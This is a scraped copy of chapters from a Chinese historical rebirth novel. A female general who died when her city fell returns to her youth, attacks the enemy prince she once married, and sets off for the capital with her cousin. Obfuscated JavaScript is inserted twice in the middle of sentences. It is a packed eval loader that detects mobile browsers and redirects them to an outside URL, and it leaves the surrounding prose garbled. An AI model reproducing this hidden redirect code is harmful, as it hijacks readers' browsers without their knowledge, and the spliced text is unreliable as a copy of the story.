《呦呦南山鹿》 1. 呦呦死了! 苍穹昏暗如墨,一道身影驭马在思归山马道上疾驰前行。 马道尽头是连绵雪山,朔风呼啸,猛地吹开那人鬓边乱发,露出一张清瘦素白的脸。 陈少闲勒紧缰绳,任由长风卷动绿衣,纵马往雪山而去,她的身后是旌旗猎猎,大部队人马紧追不舍,也是她成婚五年的夫君紧追不放。 敌国的天子,祈宴。 漫天冰雹轰然坠落,砸在身上砭骨生寒,战马受了惊,停而不前。陈少闲单手持枪,立在山腰之中,前路茫茫雪山,身后追兵将至。进无可进,退无可退。 “娘娘,别跑了,随我们回去吧!” 陈少闲的额头被冰雹砸破,鲜血源源不断涌出,她睁着染了血的眼,平静地在众人脸上一一扫过。喊她娘娘的人,原是池阳卫的千户。 可笑,真是可笑。 今日是池阳破城之日,也是她夫君称帝之日。 她抬手抹开眼上的血,心下只觉得荒唐:“谁是你们的娘娘,吾乃池阳城守将,大晋新帝亲敕的忠诚侯,你们,又算个什么东西?” “大晋不过二十余年,而我大凉立世百年有余,若论天道正统,这天下,本就该是我大凉的天下。” 陈少闲循声朝远处望去,那人一身青罗龙袍,脚踏冰粒缓步而来,身旁侍者为他擎着一柄明黄伞盖,半颗冰碴也近不得他身。众将士分列两侧,齐齐俯首跪拜,震耳欲聋的声音响彻山间。 “吾皇万岁!” 陈少闲嗤声一笑,只觉得自己当真是眼盲心瞎,识人不清,竟将如此狼子野心之辈,放在枕边整整五年。 也属活该。 她自嘲一笑,沾着血的眼眸望向那人,声线寒冽如冰:“陛下藏锋至此,小将实在佩服。” 冰雹簌簌砸落,她额间又添数道伤口,鲜血淋漓而下,冰水混着血水糊了一脸。 祈宴的脸上没有丝毫愧疚之色,语气淡淡:“事已至此,你还要顽抗到何时?归顺于朕,朕封你为皇后,共掌天下。” “皇后?” 她冷笑:“要论天道正统,你们外族蛮夷入住中原,窃国称帝,何谈天命所归?我陈家满门忠烈,戍守边关,守的是汉家人的山河,护的是池阳城的百姓。” 她孤身立于山间,俯首望去,山下是她祖父、她兄长,和她,戍守一生的池州卫,那座守护一生的边关城池。 “今日城破,我身为守将,自当与城同葬,绝不臣服你们蛮夷之君。” 冰雹倏然而歇,天地间唯有长风呼啸。她手中这杆枪杀过许多人,有敌亦有友,如今用来自裁,倒也算得其所。 长枪锋利穿透了她的胸膛,原来利刃刺入心脏,是这般剜心刺骨得疼。 “陈少闲,你敢死?” 祈宴在耳边叫着她的名字,她却觉得那声音刺耳难听。 “你不要辰哥儿了?他还那么小,未满三岁,没了娘,该有多可怜……” 一口鲜血蓦然间喷洒而出,落在祈宴的手腕上,她染着血的眉眼,只剩下孤绝与冷硬。 恍惚间,似有人轻声唤:“呦呦!” 是谁在叫呦呦啊? 那年春日正好,阳光明媚,绿衣少年轻摇折扇,温声问她:“你是‘呦呦鹿鸣,食野之苹’的呦呦么,陈呦呦?” 原来从一开始,便全错了。 她从来不是那只安然食草的鹿。 她是—— 呦呦南山鹿,罹罟以媒和。 冰雹纷纷落下,砸得帐顶嗡嗡震颤。 陈少闲惊得一身冷汗,猛地从榻上坐起身。 “又做噩梦了?” 室内只点燃了一盏羊油灯,灯芯燃得微弱,昏黄光晕堪堪笼罩案桌一方。案前端坐着一青年,他垂眸看着手中文书,眼皮未掀,只语气淡淡地道:“如今四年都过去了,还是这么怕?” 陈少闲心口突突狂跳,她抬起双手盖在脸上,掌心布满厚茧,那是常年握枪磨出的痕迹。 不对,这不是她如今的手。 她嫁与祈宴已有五年,自那时起便甚少碰枪,每日以名贵霜膏养护双手,虽不像寻常闺阁女子那般细腻,但也绝无如今这般粗糙。 “你可真没出息!” “不过才挨了十鞭,就让你怕成这样?就你这点胆子,如何上得战场?” 青年搁下笔,终于从堆积如山的文书里抬起头,朝着床榻望去,烛火摇曳,室内的光线忽明忽暗,只瞧得见那人的一身轮廓。 他长叹口气,端起油灯走到榻前。 橘黄色的暖光照亮两人身前这小片天地,他轻唤一声:“呦呦!” 被烛火晃到,陈少闲才似彻底清醒过来,她揉了揉眼睛,望向身旁。那人一身轻甲戎服,长发由玉冠高束,额前利落无遮,一双杏眼微微眯着,正神情冷然地凝视着她。 他的面容在她记忆中早已淡成一片模糊的轮廓,直到此刻看见,才将记忆里的模样一点点拼凑,渐渐清晰。 陈少闲倏然伸手,指尖触到秀眉俊目,是带着温度的。 她记起来了,这是她的堂兄,陈最。 那个被先皇扣以谋逆罪名,处以剥皮实草之刑,早已长眠夜台的堂兄啊! 帐外的声音太吵,陈最将烛台搁在榻前的小矮几上,便见陈少闲死死扯住他的衣袖大哭不止,声嘶力竭,竟像是死了亲哥似的嚎啕恸哭。 陈最本是攒了一肚子火气,没忍住让亲卫抽了她十鞭子,原想待她醒了,再好好教训一番,可谁知这人醒来就往他怀里扑,又哭又笑,模样实在吓人。 他垂眸瞧她,又觉得她哭得可怜,心疼得眼泪差点落了下来,可这小丫头实在野性难驯,整日在军营中仗势欺人、作威作福,倘若今日不在众人面前惩戒一二,他身为一军主将,日后又何以服众。 犹豫了片刻,陈最终是软了心,还是服软地伸出双手,轻轻捂住她的耳朵。 “呦呦不怕,是兄长的错。” “兄长不该拿鞭子抽你,惹你想起那些不好的旧事。” 帐外冰声嚣闹,竟一时盖不过她的哭声。 陈最只听得头皮发麻。 索性将她搂在怀中柔声哄着,一下下轻轻拍她的背,一如她幼时那般。 呦呦降生那年,大晋方才立国,四海未平,天下依旧兵荒马乱,呦呦的母亲乃是女中豪杰,但是顾得这头,就顾不得那头。 他比她年长七岁,自呦呦落地起,便是他一手拉扯长大。 陈少闲哭得停不下来。 她想起陈最死得那年,她刚成亲不久,腹中还怀着两个月大的孩子。 她只懂领兵打仗,军中诸事她一股脑全丢给了祈宴,祈宴能力很强,仿佛天生便是运筹帷幄的人,竟将兄长被处死的消息瞒得密不透风。若不是谢铮孤身闯营,亲自送来尸首,祈宴当真能把这件事一直瞒到她孩子呱呱坠地,或许更久。 可是谢铮来了。 谢铮背着兄长那具只剩皮囊,没肉没骨的尸身而来,那一日风雪交加,他驭马而行,一身黑衣黑氅,面色冷得像冰。 他的目光冷得如同寒冰深潭,手中长枪一横,径直拦住了她的去路。 “司夫人!” 她将车帷帘卷开,坐在马车里,看着风雪而立的那人,他们隔着太多年未见。她那日心情甚好,只因当时还叫作司宴的夫君,说要带她去赏梅。 骤然见到阔别多年的师傅,她更欢喜,只是她的笑意还未攀上眼角,便听谢铮冷声冷语地唤她。 她恭敬行礼:“师傅!” “司夫人这是要去哪里?” “夫君说思归山脚下开了许多梅花,要带我去看看。” 谢铮冷笑一声:“司夫人好雅兴。” 陈少闲听着一愣,自十二岁随堂兄来到池阳,她便再未离开过。他们本是师徒,纵使生疏,也不该是这般态度。 她心下不解,语气也冷了几分:“师傅所言何意,莫非你孤身一人,便见不得旁人成双成对?” 谢铮没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他小声咕哝了一句:“真是吓人。”。 陈少闲睁开眼,只觉双目酸胀。她趴在陈最肩头缓了缓,听见头顶上方传来一声轻叹:“呦呦,今日是要赖在我身上了吗?” 陈少闲抬起头,正对上陈最垂落的目光,温和道:“哭够了就起来,我去换身衣裳,湿了贴身不舒服。” “哦。”她嘴上应着,身子却是一动不动。 陈最叹气,转而又笑了笑道:“你想想,若是亲卫忽然掀帘进来,见咱们这般模样,又该传出怎样闲话?” “他们敢!”陈少闲嗓子嚎得太凶。一开口粗哑难听至极。 陈最忙揉了揉耳朵,皱眉道:“嗓子哑得跟破锣划似的,别开口了。” “哥,我做了个梦。” 陈少闲也分不清那究竟是梦,还是所谓的前世,只是那几年的光景太过真实,真实到若说是一场梦,连她自己都难以相信。 “梦到你爹又抽你了?我就说鞭子不该抽,是林一那小子出的馊主意,说要让你长点记性,等会出去,哥替你报仇。把他绑起来狠狠揍一顿,如何?” 陈最哄她,本就是从小练到大的本事,这事他得心应手,出卖同袍也是信手拈来。 陈少闲没搭理他的胡扯,只是闷声地继续刚才的话题:“梦到你死了!” “哦,怎么死的?”陈最仿佛毫不在意,甚有闲心的卷起她一缕青丝,绕在指尖把玩。 “以谋逆之罪,被陛下处以剥皮实草之刑。” “这么惨啊!”陈最缠绕青丝的指尖微微一顿,旋即又慢悠悠道,“那我是如何谋反的,有么有坐上那龙椅,哪怕一天也行啊! 陈少闲实在不想搭理他,她一把推开人,从床上走下来,感受这具少年身躯,不用照镜子,她也能感受到肌肤紧致,腰肢纤细,没有一丝多余的赘肉。 她走到军帐边,掀开帐帘,让晚风吹进来,她需要醒醒脑子。 “哥,我如今多大?” 陈最随口胡诌:“不是十六,就是二十六,反正不算小了。” “我死的那年,刚满二十五。” 3. 她邪门得很! “死了没?” 陈最从未如此动怒,往日里她胡闹也就罢了,如今竟敢拿人命当儿戏。 “没死。”林一喘着粗气回话,“不过离死也差不远了,陈旗头连刺了司宴两枪,其中一枪正中心口,军医在施救,能不能活下来还未可知。” “拿我的腰牌去总兵府,多请几位军医过来诊治,我库房中的药材尽可取用,务必把人救回来。”陈最声音冷得可怕。 林一接过腰牌,陈最又问:“人在哪儿?” “我来时见她正到处寻人。”林一想了一下,随后立刻意识到有些地方不对,忙道,“她好像还要去杀人。” “吩咐亲卫将池阳城内有名的大夫全找来。” “是。” 林一应了声,陈最没再废话,匆匆披挂半甲,叫上亲卫就往营房赶去。 那里已然灯火通明,围拢过来的士兵越来越多,纷纷在旁交头接耳,语声嘈杂,时不时还能听到有人高声骂上几句。 陈最脚步未停,带着亲卫径直走到人群前。众人见他到来,瞬间噤声,自动往两侧分开一条路,齐齐躬身施礼。 陈最沉着脸闷声越过众人,大步踏入营帐,就见两名军医正围在那人身旁施救。一名军医满头大汗,正握着剪刀剪开肩头的军袍,抬头见他进来,连忙收了手便要躬身行礼。 陈最摆了摆手,只道:“继续。” 司宴浑身已被鲜血浸透,他身中两枪,胸口重创处已被紧急处置,止住了血。军医正在处理他肩头的伤。 陈最见他已是昏迷不醒,人事不知,那张素来端正英气的脸,血色尽褪,苍白得如同从战场死人堆里扒出来的将卒。 已是一副出气多、进气少的模样。 陈最站在那儿,面色阴沉。手下一人走到他的身后,压低声道:“找到了陈旗头,就在演武场。” “来人。” 陈最冷冽开口:“将陈少闲给我抓回来。” 陈少闲自陈最帐中被赶出来,便提着枪去找司宴。她算看出来了,陈最压根就不信她什么重生之说。 但他信不信不重要,司宴这个人绝不能留,至少,绝不能留在池州卫。 她提着长枪,在一排排营房挨个寻找。他们本就不常住在此处,只是每年初夏到秋末便会在山脚附近扎营训练。 隔了整整十年光阴,且每一年的营房排布皆不相同,她根本就记不清哪一间是火头兵的住处。 也属司宴倒霉,她碰到一个夜间小解的火头兵,一路跟着他回到营房。 一进营帐,帐内漆黑一片,借着月光仅能勉强辨出帐内军床布局。陈少闲盯着最外侧靠近帐门那张简易行军床,只见床上有一团隆起的弧度,她一眼便断定,那人定是司宴。 只因帐中尽是军汉聚在一起的混浊气息,难闻刺鼻。成婚之后,陈少闲才知晓,司宴有着近乎偏执的洁癖,并且对着秽浊异味甚是反感,旁人睡过的床榻,他向来连指尖都不肯沾碰,在军营里也只肯择在靠近门窗通风之处。 为了这座城,他倒是能忍! 陈少闲冷哼一声,登时惊醒了军床上的人。 司宴缓缓掀开眼皮,一见立在身前的人是她,眸色瞬间清明,嘴角下意识地弯起一抹温软笑意,带着刚睡醒的沙哑,轻声低唤:“少闲。” 猛地听见那声“少闲”,陈少闲一怔,竟有些恍惚。 她记不清,究竟是从什么时候起,司宴对她的称呼一点点变了。从最初连名带姓的陈少闲,到熟稔的少闲,再到后来的哟哟,最后成了软声软气的娘子。 他唤她时,嗓音清润干净,全然不似军营中糙老爷们的粗哑浑浊,每每听他温声细语在耳畔低喃,就像月夜下山涧清泉叮咚作响。 思归山脚下,她笑着问他:“你是何时瞧出我女扮男装的?” 司宴眉眼温软,翩翩佳公子的温润模样,他轻声道:“被你捡来照顾的那半年,便认出来了。” 上一世,她进山侦查,在山腰的雪地里将司宴刨出来的。那时他整个人都被大雪埋住。若不是她无心踩中一脚,恐怕早已与风雪同眠,埋骨那儿。 她想着救回一个少年,得到一个郎君。世间竟有如此像戏本里写的人生,离奇又动人。 陈少闲没回应他,握着长枪的手紧了又松。 司宴见她没应声,掀开被褥穿上鞋便朝她走来。远处巡哨的火光,将两人的影子拉长,好似紧紧相依,几乎要融作一团。 陈少闲下意识退至帐外,将两人的影子扯开。 司宴不解,亦跟着走出。月光下,陈少闲终于看清十五岁时的司宴。 他们分别的时候并不长。 从她身死到再度睁眼,不过短短一日。却恍若隔了半世光阴。想起上一世池阳城破,尸横遍野,辰哥儿嘴里的北凉话。陈少闲没心思细看他的眉眼,心中只有一个念头,她想一枪捅死他。 司宴嘴角噙着笑意,再度温声开口:“少闲……” 这声音真温柔,只是话音未落,陈少闲骤然出枪,红缨抖动,枪尖一点寒光疾速向司宴刺去。 司宴下意识想闪躲,只是转念一想,自己在她面前从未显露武功,也就那么片刻迟疑,长枪已然狠狠贯入他的肩头。 陈少闲察觉他的动作,下意识间没收力,她的枪法拼的就是力道和速度,一枪猛地刺入,枪头深深嵌入血肉里,另一端扎在帐门板上。 鲜血从肩头汩汩涌出,司宴面对着她,眼中全是茫然与错愕,他张了张嘴,喉间涌出一股血沫。 陈少闲怔怔望着被钉在帐门上的司宴,原来她十五岁时,枪法竟已这般厉害。可到了二十五岁,她手中的枪却成了一种身份的代表。 多么可笑,司宴竟将她养成了一个废物。 “为什么?” 司宴艰难地吐出几个字,陈少闲只觉得荒诞至极,她嗤笑一声:“北凉的太子,我是该叫你司宴,还是祈宴?” 听见“祈宴”这个名字,司宴神色骤然一凛,他抬眼盯着陈少闲,语气一改往日的温润,冷声道:“谁告诉你的?” 他没有否认! 心底仅存的一丝侥幸,也没了。 她是真的死在自己红缨枪下。池阳城破了,那些曾与她并肩作战的兄弟没了。由祖父、伯父、堂兄一手创立、三代坚守的池州卫没了。 而他,踩着那些数千上万的尸骨登上那最高位,受着万人俯首朝拜。 国若破了,他们这群外族蛮夷又将卷土重来,到那时,她祖父和伯父,还有无数以身殉国,死守城池的将士便成了笑话。 他们之间不能只有情欲风月,还有这埋在骨血、从降生之日便携有的国仇、家恨。 陈少闲抬步上前,她的目光落在触目惊心的伤口上,只觉得还不够解气,双手抓住枪柄,猛地向外一抽。 祈宴当即一口鲜血喷涌而出,他能感受到眼前这少年眼底的杀气,是真的想要杀了他。他没敢多想,手掌一翻,迎面对着陈少闲胸口拍去。 两人十年相处,陈少闲竟从不知他身怀武功。但她常年习武,又对他存了防备之心,并未着道。反倒这一掌祈宴近乎用尽了气力,导致他又吐出一大口鲜血。 陈少闲看他的样子,觉得他真是可怜。 但更觉可恨! “祈宴。” 她冷声道:“真难为你一国皇子,竟甘愿扮作伙夫,委身于这边陲小镇。” 祈宴靠在帐门上,随着他说话,嘴角的鲜血不断往外涌出,眼前一片模糊,他却强撑着睁开眼皮。往日伪装的眉眼此刻被寒霜取代,只是又掺杂着几分无法述说的痛楚。 他按着肩口的伤道:“无论我是什么身份,却从未想过害你。” “你是从未想过亲手杀我,可你想夺了池阳城,屠尽池州卫,要把刚平息的战火重新点燃。你想要复国,你想继续将中原的土地变成你们北凉的牧场,你想让我们生生世世只当你们的猪狗牛羊。” 祈宴没说话。 陈少闲再次握起长枪的手有些颤抖,可她还是将枪头对准他的胸口。 祈宴闭上眼睛,陈少闲望着他,低声道:“如果你想要池阳城,大可两军对垒,光明正大决一死战,而不是——来骗我!” 陈最赶到演武场时,地上已经躺了五六个人,个个身中数刀,奄奄一息。 陈少闲已与李重山缠斗几十回合。前世二人同期擢作小旗,处处会被拿来比较,她本就是争强好胜、事事爱争第一的人,有事没事就爱寻李重山切磋较技。 李重山生得高大壮硕,身形壮得像一头牦牛。可是前世中他身手一般,唯箭术一流,今日一番打斗才知,他于祈宴莫不过是主仆,一样的深藏不露,惯于伪装。 陈少闲越打越吃力,李重山的臂力甚是惊人,每一刀都挟着劲风,招招似有撼山之力,数次将她虎口被震得生疼。不仅如此,李重山仿佛有使不完的蛮力,越战越勇,陈少闲渐渐落了下风,手中的长刀险些握不住。 长刀她用着终是不如长枪趁手,气力渐渐不继,她心下一急,想起演武场附近该有兵器架,盘算着如何避开他这招招蛮力,再寻机取一杆长枪。 正想着,斜刺里突然伸出一把长剑,“当”的一声格开二人手中武器,几乎同一刹那,两柄长刀架于她与李重山的脖处。 感受到颈间传来的凉意,陈少闲抬眼望去,只见陈最一脸阴沉立在两人中间。 他眉峰皱成一坨,神色冷到极致,却又似在极力克制着怒火,冷声下令:“将两人都绑了。” 随后瞥了眼地上横七竖八躺着的六人,他忍着不耐道:“将地上六人抬去医治,单独安置一间,在我没问话之前不许与任何人接触。” 陈少闲的眼睛都打红了,她恶狠狠地盯着对面被捆住的李重山,口气极冲道:“等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471246|201493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着死吧你!” 陈最差点被她气出一口老血,自己亲自动手,揪着她的衣领,将人一路提进了将帐。 陈最闷声坐在椅上,陈少闲被绳索缚着,本想扯条凳子坐他对面,看了一眼他的脸色,又默默坐回地上。 打了一晚上,这会戾气渐渐平了几分,人也跟着理智了不少。 陈最开门见山,直接蹦出两字:“解释。” 陈少闲就知他会如此,张了张口,刚想把重生之事再复述一遍。陈最立刻出声打断:“不准再拿重生搪塞我!” “可我就是重生啊!” 她急声道:“李重山是祈宴的暗卫,一直隐在军中暗中护他。至于王军那几人,我虽不能确定他们是不是祈宴安插进来的眼线,但破城那日,他们分明是属祈宴那一方的。” 陈最皱眉:“我不能仅凭你一句重生,就定他们有罪。” 听到这话,陈少闲冷“呵”了一声,亏她今日还念起他前世死得凄惨,白流了二两泪。 陈最深吸一口气,单手撑着额头,只觉得头疼欲裂,实在想不通她今日究竟是撞了什么邪,整个人邪门得紧。 不过,若说不信重生这等怪力乱神之说,可世间河有河泊、山有山君,人死归阎君,各处又皆有庙堂香火,又怎能因没见过鬼神就全无鬼怪。 可若信她所言,前世封侯拜将,做这大晋第一位女将军,这就好比告知天下,谢铮喜好男子一般,令人惊悚又害怕。 陈最扫她一眼,一身小旗装束,脸上还带着几分稚气的肉感,掐下去便能按出一个坑来,连李重山那等莽夫都打得吃力,她凭什么能当侯爷? 陈最默了会,才继续追问:“那你可有法子证明他们是奸细?” “没有。” 陈少闲偏过头,若是她有把柄,又何至于城破之日方知他们是北凉人。 “那我再问你个旁的事,”陈最顿了一下,似漫不经心地随口抛来一问:“你既然笃定祈宴为奸细,为何不干脆杀了他。” 这话让陈少闲神色微变,她是连刺了两枪,其中一枪正对心口,可到了最后,还是偏了半寸。 陈最坐在椅上垂眸看她,只缓缓道:“你自十岁便开始习武,其他兵刃我不敢断言,唯独这枪法,你随谢铮学了二年,又一日也不肯荒废,哪怕你闭着眼,也能稳当刺中心口——可你,却偏了。” “为什么会偏了?” 陈最问她,她自是不敢接话。 若是让陈最知晓,她不仅曾嫁与敌国皇子,还将祖孙三代苦心经营的池州卫尽数毁在自己手中,她怕陈最会当场抽刀,抹她脖子。 她低着头,在绞尽脑汁想着怎么辩解。却听头顶上方,陈最问她:“怎么没话说了。” 陈少闲沉默了片刻,实话实说:“让我想想怎么跟你解释。” “别解释了,我懒得听。” 陈最嗤笑一声,居高临下注视着她:“现下我给你两个选择,一是我革了你的职,将你送回义阳,回去之后继续做你的闺阁娇小姐,嫁猪嫁狗我都不管,二是你随我去东都,在我眼皮底下安分待着,不许生事。” 最后“不许生事”四个字,陈最几乎是咬牙切齿迸出来的。 “我选二二二。” 陈少闲深怕他反悔,忙不迭地抢先应了。 前世陈最离开池州卫之前,也曾给过她两条路选,第一条与今日几乎一模一样,第二条却截然不同,那时是让她留守池阳,接手池州卫中的暗卫。 池州卫虽说是大晋边陲重卫,麾下兵马名义上尽归属朝廷,可内里另有一支暗卫,是自她祖父起便一手提拔调教,只认陈家号令,听从陈家家主之命。旁人即便得了池州卫的兵权,若握不住这批暗卫,也调度不动这批兵马。 当初她选了第二条,留守池阳。后来朝廷接连派来几任守将,谁也弹压不住这池州卫上下,唯有她接手坐镇,方能守城破敌,稳守一方。 陈最听见她的答复,神色稍缓,随后不耐烦地挥了挥手,让她滚出去,明日便同他动身前往东都。 陈少闲身上绳索还未解去,就高高兴兴出了营帐,莫说陈最让她去,她自己本就打定主意,死缠烂打也要跟着陈最一道前往东都。 她上一辈子都被困死在池阳,这辈子,她再也不想困守一地,稀里糊涂过完一生。她要去东都,她要去做一番大事——既要救出堂兄,也想会一会这为一己私利搅得天下不宁的新帝。 待陈少闲一走,陈最便将林一唤进帐中。他盯着林一,不知怎的,见到他心下反倒安定了几分。沉吟片刻,他才压底声音:“你之前不是说,池阳半山腰住着个老道士,鬼不鬼人不人的,会看相算命,明日一早,你去将人绑来。” 林一一时没领会“鬼不鬼人不人”是个什么模样,又听陈最嘟囔句:“我越想越觉得不对劲,总觉得她是不是沾了不干净的东西,邪门得很。” 4. 入东都! 翌日一早,陈最在营帐前反复踱步,身后亲卫正手脚麻利地搬着行李,几辆马车满载物资,还在不停地往上堆着。不远处,池州卫的将士们列队整齐,操练如常。 就在陈最快要把自己转晕时,终于看见林一策马而来,身后还绑着一个小道士。 “将军,人带回来了。” 那小道士被粗绳子捆着,一身崭新道袍沿途沾了些枝叶,瞧模样,像是被人从被窝里拎出来的。 陈最瞧了一眼岁数还没他大,一脸稚嫩的小道士,有点儿不大确定地问林一:“这位是?” 林一显然一路累得快断了气,闷头抱起桌上凉茶就往嘴里倒,足足灌满了三大碗,才喘着气开口:“整个道场就他一人在,我便抓了回来。” “我是让你这般抓回来的?”陈最假意瞪了他一眼,转而看向小道士,温声问道:“那个老道士呢?” 小道士还在睡梦中,不知发生了何事便被林一五花大绑捆进军营,他脸上满是不忿,可一见眼前问话之人是将军装扮,立马敛了神色,恭敬回道:“将军问的可是小道的师父?他已于上月驾鹤西去。” 陈最“哦”了一声:“死了啊!” “那你可会看相算命?” 陈最话一出口,忽觉得自己这二十二年算是白活了,竟被陈少闲搅得脑子乱如浆糊,居然指望这么一个十五六岁的少年会看相。 他抬起手,刚想将人打发走,哪知小道士已脱口道出:“会的。” 陈最顿了一下,随即指向不远处马车前,正蹲在地上埋头啃肉饼的陈少闲,道:“那你看看她。” 小道士顶着一头乱糟糟未梳理的头发,几步走到陈少闲面前,打量着她的眉眼,原本平静的神色忽而多了几分严肃,再转过身,直直盯着陈最。 直到将陈最看得发毛,小道士才缓缓开口:“骨相清奇,天庭饱满,剑眉入鬓,隐带虎威之相,不出十载,必掌生杀大权,立不世之功,封侯拜将。 陈少闲自然听懂了这小道士的话,上辈子她就是如此,于是挺胸昂着脖子看向陈最,一脸得意。 “我就说……” 话还未说完,便被小道士打断:“将军这辈子该是顺风又顺水,正是瞌睡了有人递枕头,久旱恰逢甘霖之命,只需耐心等待。” 这话,他是对着陈最说的。 “那我呢?” 陈少闲丢开手中半块肉饼,凑近了小道士,她眨了眨眼:“是不是也有将相之命?” 猛然凑近了身,小道士吓得往后踉跄一步,他皱了皱眉,一脸嫌弃道:“这小兵身上有股浓重的汗臭味,恐怕不是很爱干净。” 听到这话的陈少闲抬起胳膊,使劲嗅了嗅,她军营待久了,气味不重的话,一般闻不出来。 陈最脸色下沉,问道:“你说她是什么命格?” 小道士正色道:“我看这小兵装扮,至多是个小旗,往后撑死了也就能做到百户,与将军的命格,万万不能相比。” 陈最没再多问,小道士领着两个大元宝,欢天喜地地走了。 身后的马车早已整装待发,陈最迈步上前,一把拎起杵在一旁发愣的陈少闲,随手丢进车厢,旋即对凑近的亲卫低声问道:“昨夜只跑了李重山与司宴?其余六人未曾逃脱?” 亲卫躬身应道:“属下昨夜故意装作困顿松懈,只见李重山一人解开缰绳,悄摸溜进军医帐中将祈宴救出,余下六人,瞧着好似与李重山并不相熟,并无异动。” 陈最点了点头:“往后多盯着那六人。” “那李重山和司宴?” “将人赶出池阳城,至于边境余下九城,他愿往何处便去何处,只要不踏入池阳地界。”陈最转头望向远处演武场,将士仍在操练,他声音轻了些道:“陛下此番召我入东都,怕是边境这几年太过安稳了。若是边境动荡,想来他也不敢轻易对我如何。你们只需护好麾下人马,其余事,便听天由命吧!” 亲卫还要再说,陈最声音更轻了:“陈骁,往后池州卫便托付于你。那批人马自我祖父时便追随陈家,可他们也皆是有家有室的,若我当真回不来,你可带他们另择明主,同为大晋效力便是。” 陈骁抱拳:“将军,我等生来便随陈家打天下,没有另择明主一说,何况……” 陈最微微一笑,忽尔插话问道:“陈骁,你今年多大?” “属下今年二十有五。” “比我还长三岁,大晋立国至今十五年。陛下起兵反凉直至登基又历经了十六年,算起来,你确是从出生起就随陛下打天下。” 陈骁皱眉:“属下父亲本是江淮流民,若不是遇上安国公恐怕早已死在大凉铁骑之下。幸得安国公创立池州卫,父亲才有了安身立命之处。父亲临终前千叮万嘱,属下这条命,本就是陈家给的,誓言只效命于陈家。” 陈最长叹口气,最终也没再说什么。 该安排的事宜,昨日从总兵主帐出来时都已安排妥当。陈最翻身上马,调转马头又望了一眼演武场,片刻以后,翻转缰绳,一声清亮马哨划破长空。寥寥数辆的车队缓缓动了起来。 陈少闲听到马哨声,忙伸手掀开车帘。 与前世不同,前世陈最离营时声势浩大,光是亲卫便带了四五十人,马车更是十几辆排成了长龙,而眼前随行不过十五人,分明是按着规制应带的人数。 陈少闲目光扫过众人,许多面孔既陌生又熟悉。前世里,这些人跟着陈最离开池阳,便再也没回来,全部埋骨东都。 而这一世,他们大多都留了下来。 即便陈最依旧要前往东都,陈少闲想了想,心头却宽了几分。好在这一回有她相伴,定能逢凶化吉。 一晃一个半月过去,车队已行至距离东都不足百里。 东都陈府的宅子。 荒废了三年有余,今日却忽然热闹起来,仆役们进进出出,忙里忙外,将院内的杂草清了一车又一车。 这些仆役们都是临时从曹国公府调过来的,素来调教得当,个个手脚麻利、干活勤快,不出一日便把这座荒芜多年的宅院收拾得干干净净。 待里外收拾妥当,门外街道上早已候着十几辆马车,车上都是崭新的桌椅、屏风、古瓷,仆役们抬地抬、搬地搬,井然有序地将一应器物送入府中。这沉寂多年的陈将军府,终于有了几分当年鼎盛时的风貌。 “这花瓶可小心点拿,都是三公子收藏的真品,弄碎了把 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他年岁大了,本就眠浅难寐,昨日好不容易将自己熬出困意,竟被惜言这小哑巴摸黑翻窗闯了进来。两人在暗处大眼瞪小眼,当场惊得他心口骤跳,手脚发颤,愣是缓了半晌,才看清小哑巴左右手胡乱比划的是啥。 “昨日半夜三公子让惜言传话,吩咐小老今日务必把陈府的宅子清理出来,可他也没说,陈将军还要四五日才返京啊。”谢伯咬了咬牙,既然话说了一半,索性直接告起状来,他委屈的道,“小老也是做祖父的人了,隔三差五被三公子这么一惊一乍,这把老骨头可实在遭不住。” 谢瑍自是知晓自家兄弟是个什么性子,他顿了一下,才缓缓笑道:“知退当真被母亲宠坏了,怎可半夜来叨扰你,何况又不是个紧事。谢伯放心,等我回府定要好好教训他一番。” 谢伯点了点头:“三公子的性子是不如世子沉稳,整日急急燥燥的,小老儿就怕他哪天不慎冲撞了陛下。” “那倒不至于,知退还是知晓轻重,只是一遇上二弟的事便难免心急了些。”谢瑍长叹口气:“我这弟弟啊,性子寡淡,看着同谁都亲近不起来,唯独对二弟上心得紧,有时候我真怀疑,到底谁才是他亲哥!” “那自然是同世子更近亲些,毕竟可是一个肚子钻出来的亲兄弟啊!” 谢瑍笑了笑。 随即又交代几句,谢瑍便急着往院外走去。初雪下得又猛又急,短短一段路便白了头。他刚行至马车前,车旁候着的小厮便急着要去掀开车帷。 他连忙摆手止住。 小厮刚刚掀开一角的帷裳又放了下来,谢瑍站在车厢前拍了拍身上和头发上的雪花,才掀开一角闪了进去。 车厢内放置着炭火,暖气流漾,只是车帷垂落,还是带了些许冷冽的寒气。 斜倚在软榻上的女子,乌发松松挽着环髻,有几缕柔发垂在颊边,身上搭着紫狐氅衣,衬得洁白如玉的脸愈发小巧精致,脸颊被暖室烘出来的一抹红,似胭脂擦拭般,粉粉嫩嫩,肌肤胜雪。 谢瑍靠近,只见那垂落的睫毛轻轻颤了颤,便缓缓掀开,带着刚刚睡醒的惺忪。瞧见眼前人,黑眸亮了起来,荡着未褪却的睡意,轻轻环住身边人,娇柔柔地道:“怎么未喊醒我。” 5. 前世是怎么死的? 谢瑍也是头一回与女子交心,只觉女儿家竟是这般软柔温糯,摸着哪儿都是软的,说话娇滴滴,就像是天空飘落的碎雪,仿佛稍一用力触碰,便要化在指尖一般。 他常年行军打仗,一身蛮力早已成了习惯。上回握她手腕,明明未曾用力,却仍在那截柔嫩皓腕上留下一圈淤青。此刻他小心翼翼揽住她的腰,生怕力道重了半分,只敢虚虚一碰。 他低头,轻声道:“外面冷,见你睡得沉,便没叫醒你。” “那可安排妥当?” “三弟都安排好了。” 沈一汀闻言,面露诧异:“三郎也从豫州赶回来了?” “嗯,早我一日,估摸着这会应当已在府中,我们回去便可见他。” 